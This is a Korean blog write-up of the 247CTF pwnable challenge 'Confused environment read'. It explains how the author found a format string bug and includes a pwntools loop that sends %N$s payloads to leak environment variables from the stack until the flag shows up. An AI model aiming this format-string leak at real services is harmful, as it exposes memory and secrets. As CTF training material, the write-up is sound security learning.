Pwnable
[247CTF] Pwnable - Confused environment read
Tjdmin1
2025. 3. 17. 14:54
247CTF - The game never stops
247CTF is a security learning environment where hackers can test their abilities across a number of different Capture The Flag (CTF) challenge categories including web, cryptography, networking, reversing and exploitation.
247ctf.com
Analyze
Binary가 없는 문제입니다.
처음에는 좀 당황했지만 문제 이름을 보면 스택에 저장되어 있는 환경 변수의 값을 가져오면 되는 문제 같습니다.
Attack Vector
아무거나 해보다가 Format String Bug를 발견했습니다.
그래서 환경 변수를 찾아야하기 때문에 %n$s라는 포멧으로 환경 변수 값을 찾아주기로 했습니다.
Exploit
from pwn import *
HOST = '17f4c1553197904b.247ctf.com'
PORT = 50024
for i in range(100):
p = remote(HOST, PORT)
payload = b'%'
payload += str(i).encode()
payload += b'$s'
p.sendlineafter(b"What's your name again?\n", payload)
result = p.recvline()
p.close()
if b'247CTF' in result:
success(f'{i}번째 환경 변수 : {result}')
break